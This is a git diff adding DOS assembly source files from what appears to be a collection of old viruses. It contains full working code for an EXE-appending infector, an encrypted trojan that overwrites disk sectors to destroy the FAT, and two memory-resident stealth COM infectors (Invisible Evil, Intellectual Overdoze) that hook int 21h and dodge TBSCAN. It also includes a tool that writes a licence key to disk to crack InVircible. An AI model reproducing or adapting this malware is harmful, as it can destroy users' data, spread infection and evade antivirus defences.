[EXE_HDR+6] ;number of relocatables + add ax,ax + add ax,ax + sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table + cmp ax,4*NUMRELS ;enough room to put relocatables in? +RR_RET: ret ;exit with carry set properly + + +;-------------------------------------------------------------------------- +;This function determines whether the word at the initial CS:0000 in USEFILE +;is the same as VIRUSID in this program. If it is, it returns c set, otherwise +;it returns c reset. +; +IS_ID_THERE: + mov ax,WORD PTR [EXE_HDR+22] ;Initial CS + add ax,WORD PTR [EXE_HDR+8] ;Header size + mov dx,16 + mul dx + mov cx,dx + mov dx,ax ;cxdx = position to look for VIRUSID in file + mov bx,[HANDLE] + mov ax,4200H ;set file pointer, relative to beginning + int 21H + mov ah,3FH + mov bx,[HANDLE] + mov dx,OFFSET VIDC + mov cx,2 ;read 2 bytes into VIDC + int 21H + jc II_RET ;couldn't read - bad file - report as though ID is there so we dont do any more to this file + mov ax,[VIDC] + cmp ax,[VIRUSID] ;is it the VIRUSID? + clc + jnz II_RET ;if not, then virus is not already in this file + stc ;else it is probably there already +II_RET: ret + + +;-------------------------------------------------------------------------- +;This routine makes sure file end is at paragraph boundary, so the virus +;can be attached with a valid CS. Assumes file pointer is at end of file. +SETBDY: + mov al,BYTE PTR [FSIZE] + and al,0FH ;see if we have a paragraph boundary (header is always even # of paragraphs) + jz SB_E ;all set - exit + mov cx,10H ;no - write any old bytes to even it up + sub cl,al ;number of bytes to write in cx + mov dx,OFFSET FINAL ;set buffer up to point to end of the code (just garbage there) + add WORD PTR [FSIZE],cx ;update FSIZE + adc WORD PTR [FSIZE+2],0 + mov bx,[HANDLE] + mov ah,40H ;DOS write function + int 21H +SB_E: ret + +;-------------------------------------------------------------------------- +;This routine moves the virus (this program) to the end of the EXE file +;Basically, it just copies everything here to there, and then goes and +;adjusts the EXE file header and two relocatables in the program, so that +;it will work in the new environment. It also makes sure the virus starts +;on a paragraph boundary, and adds how many bytes are necessary to do that. +; +INFECT: + mov cx,WORD PTR [FSIZE+2] + mov dx,WORD PTR [FSIZE] + mov bx,[HANDLE] + mov ax,4200H ;set file pointer, relative to beginning + int 21H ;go to end of file + call SETBDY ;lengthen to a paragraph boundary if necessary + mov cx,OFFSET FINAL ;last byte of code + xor dx,dx ;first byte of code, DS:DX + mov bx,[HANDLE] ;move virus code to end of file being attacked with + mov ah,40H ;DOS write function + int 21H + mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS) + mov cx,WORD PTR [FSIZE+2] + mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file + inc bx + add dx,bx + mov bx,0 + adc cx,bx ;cx:dx is that number + mov bx,[HANDLE] + mov ax,4200H ;set file pointer to 1st relocatable + int 21H + mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program + mov bx,[HANDLE] ;from the EXE header + mov cx,2 + mov ah,40H ;and write it to relocatable REL1+1 + int 21H + mov dx,WORD PTR [FSIZE] + mov cx,WORD PTR [FSIZE+2] + mov bx,OFFSET REL1A ;put in correct old SP from EXE header + inc bx ;at FSIZE+REL1A+1 + add dx,bx + mov bx,0 + adc cx,bx ;cx:dx points to FSIZE+REL1A+1 + mov bx,[HANDLE] + mov ax,4200H ;set file pointer to place to write SP to + int 21H + mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected program + mov bx,[HANDLE] ;from EXE header + mov cx,2 + mov ah,40H ;and write it where it belongs + int 21H + mov dx,WORD PTR [FSIZE] + mov cx,WORD PTR [FSIZE+2] + mov bx,OFFSET REL2 ;put in correct old CS:IP in program + add bx,1 ;at FSIZE+REL2+1 on disk + add dx,bx + mov bx,0 + adc cx,bx ;cx:dx points to FSIZE+REL2+1 + mov bx,[HANDLE] + mov ax,4200H ;set file pointer relavtive to start of file + int 21H + mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header + mov bx,[HANDLE] + mov cx,4 + mov ah,40H ;and write 4 bytes to FSIZE+REL2+1 + int 21H + ;done writing relocatable vectors + ;so now adjust the EXE header values + xor cx,cx + xor dx,dx + mov bx,[HANDLE] + mov ax,4200H ;set file pointer to start of file + int 21H + mov ax,WORD PTR [FSIZE] ;calculate new initial CS (the virus' CS) + mov cl,4 ;given by (FSIZE/16)-HEADER SIZE (in paragraphs) + shr ax,cl + mov bx,WORD PTR [FSIZE+2] + and bl,0FH + mov cl,4 + shl bl,cl + add ah,bl + sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs) + mov WORD PTR [EXE_HDR+22],ax;and save as initial CS + mov bx,OFFSET FINAL ;compute new initial SS + add bx,10H ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16) + mov cl,4 + shr bx,cl + add ax,bx + mov WORD PTR [EXE_HDR+14],ax ;and save it + mov ax,OFFSET VIRUS ;get initial IP + mov WORD PTR [EXE_HDR+20],ax ;and save it + mov ax,STACKSIZE ;get initial SP + mov WORD PTR [EXE_HDR+16],ax ;and save it + mov dx,WORD PTR [FSIZE+2] + mov ax,WORD PTR [FSIZE] ;calculate new file size + mov bx,OFFSET FINAL + add ax,bx + xor bx,bx + adc dx,bx ;put it in ax:dx + add ax,200H ;and set up the new page count + adc dx,bx ;page ct= (ax:dx+512)/512 + push ax + mov cl,9 + shr ax,cl + mov cl,7 + shl dx,cl + add ax,dx + mov WORD PTR [EXE_HDR+4],ax ;and save it here + pop ax + and ax,1FFH ;now calculate last page size + mov WORD PTR [EXE_HDR+2],ax ;and put it here + mov ax,NUMRELS ;adjust relocatables counter + add WORD PTR [EXE_HDR+6],ax + mov cx,1CH ;and save data at start of file + mov dx,OFFSET EXE_HDR + mov bx,[HANDLE] + mov ah,40H ;DOS write function + int 21H + mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table + dec ax ;in order to calculate location of + dec ax ;where to add relocatables + mov bx,4 ;Location= (No in table-2)*4+Table Offset + mul bx + add ax,WORD PTR [EXE_HDR+24];table offset + mov bx,0 + adc dx,bx ;dx:ax=end of old table in file + mov cx,dx + mov dx,ax + mov bx,[HANDLE] + mov ax,4200H ;set file pointer to table end + int 21H + mov ax,WORD PTR [EXE_HDR+22] ;and set up 2 pointers: init CS = seg of REL1 + mov bx,OFFSET REL1 + inc bx ;offset of REL1 + mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to + mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now + mov ax,WORD PTR [EXE_HDR+22] ;init CS = seg of REL2 + mov bx,OFFSET REL2 + add bx,3 ;offset of REL2 + mov WORD PTR [EXE_HDR+4],bx ;write it to buffer + mov WORD PTR [EXE_HDR+6],ax + mov cx,8 ;and then write 8 bytes of data in file + mov dx,OFFSET EXE_HDR + mov bx,[HANDLE] + mov ah,40H ;DOS write function + int 21H + ret ;that's it, infection is complete! + +;-------------------------------------------------------------------------- +;This routine determines whether the reproduction code should be executed. +;If it returns Z, the reproduction code is executed, otherwise it is not. +;Currently, it only executes if the system time variable is a multiple of +;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1 +;executions of the program. TIMECT should be 2^n-1 +;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program +;is run. This makes SHOULDRUN return Z for sure the first time, so it +;definitely runs when this loader program is run, but after that, the time must +;be an even multiple of TIMECT+1. +; +TIMECT EQU 0 ;Determines how often to reproduce (1/64 here) +; +SHOULDRUN: + xor ah,ah ;zero ax to start, set z flag +SR1: ret ;this gets replaced by NOP when program runs + int 1AH + and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks? + ret ;return with z flag set if it is, else nz set + + +;-------------------------------------------------------------------------- +;SETSR modifies SHOULDRUN so that the full procedure gets run +;it is redundant after the initial load +SETSR: + mov al,90H ;NOP code + mov BYTE PTR SR1,al ;put it in place of RET above + ret ;and return + +;-------------------------------------------------------------------------- +;This routine sets up the new DTA location at DTA1, and saves the location of +;the initial DTA in the variable OLDDTA. +NEW_DTA: + mov ah,2FH ;get current DTA in ES:BX + int 21H + mov WORD PTR [OLDDTA],bx ;save it here + mov ax,es + mov WORD PTR [OLDDTA+2],ax + mov ax,cs + mov es,ax ;set up ES + mov dx,OFFSET DTA1 ;set new DTA offset + mov ah,1AH + int 21H ;and tell DOS where we want it + ret + +;-------------------------------------------------------------------------- +;This routine reverses the action of NEW_DTA and restores the DTA to its +;original value. +RESTORE_DTA: + mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs + mov ax,WORD PTR [OLDDTA+2] + mov ds,ax + mov ah,1AH + int 21H ;and tell DOS where to put it + mov ax,cs ;restore ds before exiting + mov ds,ax + ret + +;-------------------------------------------------------------------------- +;This routine saves the original file attribute in FATTR, the file date and +;time in FDATE and FTIME, and the file size in FSIZE. It also sets the +;file attribute to read/write, and leaves the file opened in read/write +;mode (since it has to open the file to get the date and size), with the handle +;it was opened under in HANDLE. The file path and name is in USEFILE. +SAVE_ATTRIBUTE: + mov ah,43H ;get file attr + mov al,0 + mov dx,OFFSET USEFILE + int 21H + mov [FATTR],cl ;save it here + mov ah,43H ;now set file attr to r/w + mov al,1 + mov dx,OFFSET USEFILE + mov cl,0 + int 21H + mov dx,OFFSET USEFILE + mov al,2 ;now that we know it's r/w + mov ah,3DH ;we can r/w access open file + int 21H + mov [HANDLE],ax ;save file handle here + mov ah,57H ;and get the file date and time + xor al,al + mov bx,[HANDLE] + int 21H + mov [FTIME],cx ;and save it here + mov [FDATE],dx ;and here + mov ax,WORD PTR [DTA1+28] ;file size was set up here by + mov WORD PTR [FSIZE+2],ax ;search routine + mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE + mov WORD PTR [FSIZE],ax + ret + +;-------------------------------------------------------------------------- +;Restore file attribute, and date and time of the file as they were before +;it was infected. This also closes the file +REST_ATTRIBUTE: + mov dx,[FDATE] ;get old date and time + mov cx,[FTIME] + mov ah,57H ;set file date and time to old value + mov al,1 + mov bx,[HANDLE] + int 21H + mov ah,3EH + mov bx,[HANDLE] ;close file + int 21H + mov cl,[FATTR] + xor ch,ch + mov ah,43H ;Set file attr to old value + mov al,1 + mov dx,OFFSET USEFILE + int 21H + ret + +FINAL: ;last byte of code to be kept in virus + +VSEG ENDS + + +;-------------------------------------------------------------------------- +;Virus stack segment + +VSTACK SEGMENT PARA STACK + db STACKSIZE dup (?) +VSTACK ENDS + + END VIRUS ;Entry point is the virus + \ No newline at end of file diff --git a/i/INTRVIEW.ASM b/i/INTRVIEW.ASM new file mode 100755 index 0000000..a12edd2 --- /dev/null +++ b/i/INTRVIEW.ASM @@ -0,0 +1,82 @@ +; INTRVIEW.ASM -- Skywalker Trojan +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Serpico + +virus_type equ 3 ; Trojan Horse +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +start label near + +main proc near + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + mov bx,offset null_vector ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + + mov si,offset data00 ; SI points to data + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: + + mov ax,0002h ; First argument is 2 + mov cx,0010h ; Second argument is 16 + cli ; Disable interrupts (no Ctrl-C) + cwd ; Clear DX (start with sector 0) + int 026h ; DOS absolute write interrupt + sti ; Restore interrupts + + + mov ax,04C00h ; DOS terminate function + int 021h +main endp + +data00 db "C'mon now, trim that FAT! 1 and 2 and 3 and....",13,10,10,0 + +vcl_marker db "[VCL]",0 ; VCL creation marker + + +note db "Please wait, interview is load" + db "ing. You've been infected with" + db "the Skywalker Trojan. HaHaHa" + db "YoDa - AlLiAnCe" + +end_of_code label near + +encrypt_decrypt proc near + mov si,offset start_of_code ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: xor word ptr [si],06734h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main \ No newline at end of file diff --git a/i/INV-EVIL.ASM b/i/INV-EVIL.ASM new file mode 100755 index 0000000..3bea902 --- /dev/null +++ b/i/INV-EVIL.ASM @@ -0,0 +1,331 @@ +; Virusname : Invisible Evil +; Virusauthor: Metal Militia +; Virusgroup : Immortal Riot +; Origin : Sweden +; +; It's a memory resident, stealth, infector of com files. +; It check for two nops a bit after the jmp to see if it's already +; infected or not, and to stealth it, it'll check the seconds. +; No destructive routine included in this version, perhaps to come(?) +; Um!.. well, enjoy Insane Reality issue #4! +; I think that's all for now, outa here.. +; +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +; INVISIBLE EVIL! +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +virus segment + assume cs:virus,ds:virus,es:nothing + + org 100h +start: db 0E9h,02,00,90h,90h ; Jmp to vstart + +vstart equ $ + call code_start ; call codie_startie +code_start: + pop si + sub si,offset code_start ; so we can use the lea command etc + jmp code_continue + + db ' Our past is ' ; Lil' poem (?) + db ' our future! ' ; of mine + +code_continue: + mov bp,si ; Now, put bp in si instead so bp's used + jmp load ; Jmp and go resident + +old_21 dd ? ; Old int21 interrupt saved here + +new_21: ; Our own, new one int21 + cmp ax,4b00h ; Is a file being executed + je exec1 ; If so, damn it! INFECT! + +dir_thang: + cmp ah,11h ; Find first + je hide_size ; Use stealth + cmp ah,12h ; Find next + je hide_size ; Use stealth + cmp ax,3030h ; Another copy trying to go resident? + jne do_old ; If not, do the old int21 thang + mov bx,3030h ; Show that we're already resident +do_old: jmp dword ptr cs:[(old_21-vstart)] ; Jmp old int21 +exec1: jmp exec ; Try to infect +do_dir: jmp dword ptr cs:[(old_21-vstart)] ; See do_old + ret ; But return back + +hide_size: + pushf + push cs + call do_dir ; get FCB (current) + cmp al,00h ; Is DIR being used (?) + jz undocumented_get_FCB ; If so, go on + jmp dir_error ; If not, get the fuck + ; outa this place man +undocumented_get_FCB: + push ax ; push + push bx ; push + push es ; push (gaak! no pops) + mov ah,51h ; get FCB (location) + int 21h ; figure it out + mov es,bx ; get FCB (info) + cmp bx,es:[16h] ; check it + je fix_it_up ; if so, move on + jmp not_inf + +fix_it_up: + mov bx,dx ; fixup + mov al,[bx] ; some + push ax ; shit + mov ah,2fh ; get the DTA + int 21h ; yeah, you do that + pop ax ; atlast, pop me babe + inc al ; check FCB (extended) + jz add_it ; ok, move on + jmp normal_fcb ; jmp normal_fcb + +add_it: + add bx,7h ; yes, add it.. go ahead +normal_fcb: + mov ax,es:[bx+17h] + and ax,1fh + xor al,01h ; are the file's seconds + jz go_on_and_do_it_strong ; equal to "2"? + jmp not_inf ; If so, outa here + +go_on_and_do_it_strong: + and byte ptr es:[bx+17h],0e0h ; subtract the size + sub es:[bx+1dh],(vend-vstart) ; how much? (*.*) + sbb es:[bx+1fh],ax ; yet another stealthed +not_inf:pop es ; we will.. + pop bx ; we will.. + pop ax ; pop you! pop you! + +dir_error: + iret ; return to the one who + ; called this thang +exec: + push ax ; push the stuff needed + push bx ; (as normally) + push cx + push dx + push di + push si + push ds + push es + +infect: + mov ax,3d02h ; Open the file being + int 21h ; executed do that! + jc fuckitall ; If error, get the fuck + ; out! + + xchg ax,bx ; or.. mov bx,ax + + push ds ; pusha + push cs ; push + pop ds ; pop! + + mov ah,3fh ; Read from file + mov dx,(buffer-vstart) ; put in our buffer + mov cx,5h ; how much to read + int 21h ; do that + jc fuckitall ; If error, fuck it! + + + cmp word ptr cs:[(buffer-vstart)],5A4Dh ; Is it an .EXE? + je fuckitall ; If so, outa here.. + + cmp word ptr cs:[(buffer-vstart)],4D5Ah ; The other form? + je fuckitall ; (can be MZ or ZM) + ; If so, outa here + cmp word ptr cs:[(buffer-vstart)+3],9090h ; Ok, is it + je fuckitall ; infect? If so, + ; outa here + jmp next ; Move on.. + +fuckitall: + jmp homey2 ; Something screwed, + ; outa dis thang.. +next: + + mov ax,5700h ; Get date/time + int 21h ; int me baaaabe! + + mov word ptr cs:[(old_time-vstart)],cx ; save time + mov word ptr cs:[(old_date-vstart)],dx ; save date + + mov ax,4202h ; ftpr to end + mov cx,0 ; get ftpr (filesize) + cwd ; or.. xor dx,dx + int 21h + jc fuckitall ; if error, fuck it! + mov cx,ax ; mov cx to ax + sub cx,3 ; for the jmp + jmp save_rest_of_len + db ' [INVISIBLE EVIL!] (c) Metal Militia/Immortal Riot ' + +save_rest_of_len: + mov word ptr cs:[(jump_add+1-vstart)],cx ; save jmp length + + mov ah,40h ; write to file + mov cx,(vend-vstart) ; the virus + cwd ; from start + int 21h ; atlast the fun part + jnc fpointer ; no error(s), go on + jc homey ; fuck it! + +fpointer: + mov ax,4200h ; move file pointer + mov cx,0 ; to the beginning + cwd + int 21h + + + mov ah,40h ; write the JMP the + mov cx, 5 ; the file (5 bytes) + mov dx,(jump_add-vstart) ; offset jump thang + int 21h + + jc homey ; if error, fuck it! + + mov ax,5701h ; restore old + mov word ptr cx,cs:[(old_time-vstart)] ; date/time + mov word ptr dx,cs:[(old_date-vstart)] + + and cl,0e0H ; chance the file's + inc cl ; seconds to "2" for + int 21h ; stealth "marker" + + + mov ah,3eh ; close thisone + int 21h + + +homey: jmp homey2 ; outa here + db ' Dedicated to all the victims.. ' ; dedication note + +homey2: pop ds ; pop + pop es ; pop + pop ds ; pop + pop si ; pop + pop di ; pop + pop dx ; pop + pop cx ; pop + pop bx ; pop + pop ax ; new virus-name + ; popcorn virus? + jmp dword ptr cs:[(old_21-vstart)] ; heading for old + ; int21 +old_date dw 0 ; date/time +old_time dw 0 ; saving place + + +buffer: db 0cdh,20h,00 ; our lil' buffer +buffer2 db 0,0 ; plus these two +jump_add: db 0E9h,00,00,90h,90h; ; what we put instead + ; of org. jmp +exit2: jmp exit ; get outa here + +load: mov ax,3030h ; Are we already in + int 21h ; this users memory + cmp bx,3030h ; well, check it! + je exit2 ; if so, outa here + + +dec_here: + push cs ; push + pop ds ; pop + + mov ah,4ah ; req. very much mem + mov bx,0ffffh ; ret's largest size + int 21h + + mov ah,4ah ; ok, so now we + sub bx,(vend-vstart+15)/16+1 ; subtract the size of + jnc intme ; of our virus. If no + jmp exit2 ; error go on, else + ; fuck it +intme: + int 21h ; int me! int me! + + mov ah,48h + mov bx,(vend-vstart+15)/16 ; req. last pages + int 21h ; allocate to the virus + jnc decme ; no error, go on + jmp exit2 ; les get outa dis place + +decme: + dec ax ; oh? a dec, no push/pop + ; how glad i am :) + push es ; blurk! yet another push + + mov es,ax ; set es to ax + jmp dos_own ; carry on comrade + db ' Greets to B-real!/IR ' ; greetings to our + ; latest member, a +dos_own: ; friend of mine + mov byte ptr es:[0],'Z' ; this memory will + mov word ptr es:[1],8 ; have DOS as it's + ; owner + inc ax ; opposite of dec, eh? + ; yet another new-commer + lea si,[bp+offset vstart] ; copy to memory + mov di,0 ; (new block) xor di,di + jmp copy_rest ; go on + db ' It''s like this and like that and like thisena ' ; lil' + +copy_rest: + mov es,ax ; es as ax + mov cx,(vend-vstart+5)/2 ; the whole thing + cld ; bytes, clr direction + rep movsw + jmp make_res ; now, make it resident + db ' It''s like that and like this and like thatena '; thang + +make_res: + xor ax,ax ; atlast! + mov ds,ax ; put all shit to memory + push ds ; don't push me around :) + lds ax,ds:[21h*4] ; vectorswapping + jmp swap_sect ; (manually!) + db ' It''s like this.. ' ; by Snoop 'n Dre. + +swap_sect: + mov word ptr es:[old_21-vstart],ax ; where's our old int21 + mov word ptr es:[old_21-vstart+2],ds ; stored? well see here + pop ds + mov word ptr ds:[21h*4],(new_21-vstart) ; point to our virus + mov ds:[21h*4+2],es ; instead of old21 + + push cs ; no cmt. + pop ds ; to much 'bout 'em + ; today, eh? :) + +exit: + push cs ; no cmt. + pop es ; see above + + mov cx,5 ; five bytes + jmp copyback ; keep on moving.. + db ' Love to Lisa! ' ; To the girl i love +copyback: + mov si,offset buffer ; copy back org. jmp + add si,bp ; and run the org. proggy + jmp movdi_it ; yeah, les do that + db ' All i ever wanted.. ' ; Lisa, the one and only + +movdi_it: + mov di,100h ; di = 100h + repne movsb + jmp lastshit ; atlast, soon the end + db ' All i ever asked for.. ' ; Love in eternality! + +lastshit: + mov bp,100h ; bp equ 100h + jmp bp ; jmp to bp (SOF) + + +vend equ $ ; end of virus + +virus ends + end start diff --git a/i/INV602-R.ASM b/i/INV602-R.ASM new file mode 100755 index 0000000..5ea1211 --- /dev/null +++ b/i/INV602-R.ASM @@ -0,0 +1,86 @@ +; +; InVircible v6.02 Registrator, (c)1995 irogen +; +; This little utility simply installs InVircible's registration key onto +; your hard drive. It is located on the last sector of the first cylinder +; and is designated by the word 48A5h residing at the end of the sector. +; After installing this, all current and future copies of InVircible installed +; on that hard drive will be registered, or licenced rather. +; + +segment cseg + assume cs: cseg, ds: cseg, es: cseg, ss: cseg + +cr equ 0ah +lf equ 0dh + +org 100h +start: + lea dx,intro ; display intro / prompt + call disp +get_y_n: + mov ah,8 ; make sure the user wants to + int 21h + cmp al,'Y' + jz yes + cmp al,'y' + jz yes + cmp al,'N' + jz no + cmp al,'n' + jz no + jmp get_y_n +yes: + call disp_al + mov dh,1 + mov cx,1 + call read_sec ; read boot sector + mov dh,0 + mov cx,word ptr sec_buf[18h] ; get cylinder per sector + call read_sec ; read last sector of cyl 0 + mov word ptr sec_buf[1FEh],0A548h ; throw word + mov ax,0301h ; write new sector to disk + int 13h + lea dx,done_msg + jmp exit +no: + call disp_al + lea dx,abort_msg +exit: + call disp + ret + + +read_sec: + mov ax,0201h + lea bx,sec_buf + mov dl,80h + int 13h + + ret +disp: + mov ah,9 + int 21h + ret + +disp_al: + mov dl,al + mov ah,2 + int 21h + ret + +intro: + db cr,lf,' Ŀ' + db cr,lf,' InVircible v6.02 Registrator, (c)1995 irogen [NuKE] ' + db cr,lf,' ij' + db cr,lf,' Please distribute all over the known universe ' + db cr,lf,' ' + db cr,lf,' WARNING: This software is about to make changes to the last sector' + db cr,lf,' of cylinfer 0, head 0 of your hard drive. It is unlikely that any' + db cr,lf,' problems will arise, but be cautious.' + db cr,lf,' Do you wish to continue [Y/N]? $' +done_msg db cr,lf,cr,lf, ' InVircible Registrator Complete!$' +abort_msg db cr,lf,cr,lf, ' InVircible Registrator Aborted By User!$' +sec_buf: +cseg ends + end start diff --git a/i/IOD.ASM b/i/IOD.ASM new file mode 100755 index 0000000..1c4956c --- /dev/null +++ b/i/IOD.ASM @@ -0,0 +1,350 @@ +; ------------------------------------------------------------------------------ +; +; - Intellectual Overdoze - +; Created by Immortal Riot's destructive development team +; (c) 1994 The Unforgiven/Immortal Riot +; +;------------------------------------------------------------------------------- +; Memory Resident Stealth Infector of COM-programs +;------------------------------------------------------------------------------- + .model tiny + .code + org 100h + +start: + + jmp virus_start ; for first generation only! + db 'V' ; mark org file infected + +virus_start: + + mov sp,102h ; get delta offset without + call get_delta_offset ; getting detected by tbscan + + +get_delta_offset: + + call cheat_tbscan ; kick's tbscan's heuristics + mov si,word ptr ds:[100h] ; real bad! + mov sp,0fffeh + sub si,offset get_delta_offset + jmp short go_resident + +cheat_tbscan: + + mov ax,0305h ; keyb i/o + xor bx,bx + int 16h + ret + +go_resident: + + mov bp,si + +installtion_check: + + mov ax,6666h + int 21h + cmp bx,6666h ; 6666h returned in bx? + je already_resident ; = assume resident + + push cs + pop ds + +resize_memory_block: + + mov ah,4ah ; find top of memory + mov bx,0ffffh ; (65536) + int 21h + +resize_memory_block_for_virus: + + sub bx,(virus_end-virus_start+15)/16+1 ; resize enough para's + mov ah,4ah ; for virus + int 21h + +allocate_memory_block_for_virus: + + mov ah,48h ; allocate for virus + mov bx,(virus_end-virus_start+15)/16 + int 21h + jc not_enough_mem ; not enough memory! + + dec ax ; ax - 1 = mcb + push es + +mark_allocated_memory_block_to_dos: + + mov es,ax + mov byte ptr es:[0],'Z' + mov word ptr es:[1],8 ; dos = mcb owner + inc ax + +copy_virus_to_memory: + + cld ; clear direction for movsw + lea si,[bp+offset virus_start] ; vir start + mov es,ax + xor di,di + mov cx,(virus_end-virus_start+4)/2 ; vir len + rep movsw + +manually_hook_of_int21h: + + xor ax,ax + mov ds,ax + push ds + ; get/set int vector for int21 + lds ax,ds:[21h*4] + mov word ptr es:[oldint21h-virus_start],ax + mov word ptr es:[oldint21h-virus_start+2],ds + pop ds + mov word ptr ds:[21h*4],(newint21h-virus_start) + + mov bx,es ; cheat tbscan since + mov ds:[21h*4+2],bx ; mov ds:[21h*4+2],es = M flag + + push cs + pop ds + +exit: +not_enough_mem: +already_resident: + + push cs + pop es + +restore_first_bytes: + + mov di,100h + mov cx,4 + mov si,offset orgbuf + add si,bp ; fix correct offset (delta) + repne movsb + +jmp_org_program: + + mov ax,101h ; cheats tbscan's back to + dec ax ; entry point + jmp ax + + +newint21h: + + cmp ax,4b00h ; file executed? + je infect + + cmp ah,11h ; fcb findfirst call? + je fcb_stealth + + cmp ah,12h ; fcb findnext call? + je fcb_stealth + + cmp ax,6666h ; residency check + jne do_old21h ; not resident + mov bx,6666h ; return marker in bx + +do_old21h: + + jmp dword ptr cs:[(oldint21h-virus_start)] ; jmp ssss:oooo + ret + +fcb_stealth: + + pushf + push cs ; fake a int call with pushf + call do_old21h ; and cs, ip on the stack + cmp al,00 ; dir successfull? + jnz dir_error ; naw, skip stealth routine! + push ax + push bx + push es + mov ah,51h ; Get active PSP to es:bx + int 21h + mov es,bx + cmp bx,es:[16h] ; Dos calling it? + jnz not_dos ; Nope! + mov bx,dx + mov al,[bx] ; al = current drive + push ax + mov ah,2fh ; get dta area + int 21h + pop ax ; check extended fcb + inc al ; "cmp byte ptr [bx],0ffh" + jnz normal_fcb ; nope, regular fcb! + +ext_fcb: + add bx,7h ; skip junkie if ext fcb + +normal_fcb: + + mov ax,es:[bx+17h] ; get second value + and ax,1fh + xor al,01h + jnz no_stealth ; second-stealth value match + +; Here one should really check (i) if the file was a comfile, and (ii), +; the file-size ( >472 bytes) But oh well, maybe to come.. + + and byte ptr es:[bx+17h],0e0h ; substract virus len + sub es:[bx+1dh],(virus_end-virus_start) + sbb es:[bx+1fh],ax + +no_stealth: +not_dos: + + pop es + pop bx + pop ax + +dir_error: + iret + +infect: + + push ax + push bx + push cx + push dx + push di + push si + push ds + push es + +open_file: + + mov ax,3d02h ; open file in read/write + int 21h ; mode + jc error_open ; error on file open + + xchg ax,bx ; file handle in bx + + push ds + push cs + pop ds + +read_firstbytes: + + mov ah,3fh ; read first four bytes + mov dx,(orgbuf-virus_start) ; to orgbuf + mov cx,4 + int 21h + + +check_file_executed: + + cmp byte ptr cs:[(orgbuf-virus_start)],'M' ; check only first byte + je exe_file ; - fooling tbscan + + +check_previous_infection: + + cmp byte ptr cs:[(orgbuf-virus_start)+3],'V' ; already infected? + je already_infected + + jmp short get_file_time_date ; not infected + +error_open: +already_infected: +exe_file: + + + jmp exit_proc ; dont infect file + + +get_file_time_date: + + mov ax,5700h ; get time/date + int 21h + + mov word ptr cs:[(old_time-virus_start)],cx ; save time + mov word ptr cs:[(old_date-virus_start)],dx ; and date + +go_endoffile: + + mov ax,4202h ; go end of file + xor cx,cx + cwd + int 21h + +check_file_size: + + cmp ax,3072d ; check file-size + jb too_small + + cmp ax,64000d + ja too_big + +create_newjump: + + sub ax,3 ; 0e9h,XX,XX, + mov word ptr cs:[(newbuf+1-virus_start)],ax ; V => AX + +write_virus: + + mov ah,40h ; write virus to end of file + mov cx,(virus_end-virus_start) +; cwd ; (dx = 0 since go eof) + int 21h + +go_tof: + + mov ax,4200h + xor cx,cx +; cwd ; ( dx = 0 since go eof) + int 21h + + +write_newjump: + + mov ah,40h ; write new jmp to tof + mov cx,4 ; = 0E9H,XX,XX,V + mov dx,(newbuf-virus_start) ; offset to write from + int 21h + + +set_org_time_date: +too_small: +too_big: + + mov ax,5701h ; set back org + mov word ptr cx,cs:[(old_time-virus_start)] ; time + mov word ptr dx,cs:[(old_date-virus_start)] ; date + + +set_stealth_marker: + + and cl,0e0h ; give file + inc cl ; specific + int 21h ; second val + +close_file: + + mov ah,3eh ; close file + int 21h + +exit_proc: + + pop ds + pop es + pop ds + pop si + pop di + pop dx + pop cx + pop bx + pop ax + + jmp dword ptr cs:[(oldint21h-virus_start)] ; jmp ssss:oooo + +old_date dw 0 ; storage buffers +old_time dw 0 ; for file time/date +oldint21h dd ? ; and oldint21h + +orgbuf db 0cdh,20h,00,00 ; buffer to save first 4 bytes in +newbuf db 0E9h,00,00,'V' ; buffer to calculate a new entry + +copyrt db "[Overdoze] (c) 1994 The Unforgiven/Immortal Riot" + +virus_end: + end start diff --git a/i/IOVERLAY.ASM b/i/IOVERLAY.ASM new file mode 100755 index 0000000..e7387e6 --- /dev/null +++ b/i/IOVERLAY.ASM @@ -0,0 +1,451 @@ +; +; +; Internal Overlay +; by Tcp/29A +; +; +; +; Here you have a virus i wrote some time ago... an old but still pretty +; interesting virus (anyway, ain't so old... one year or less :) Its pe- +; culiarity consists in that it infects 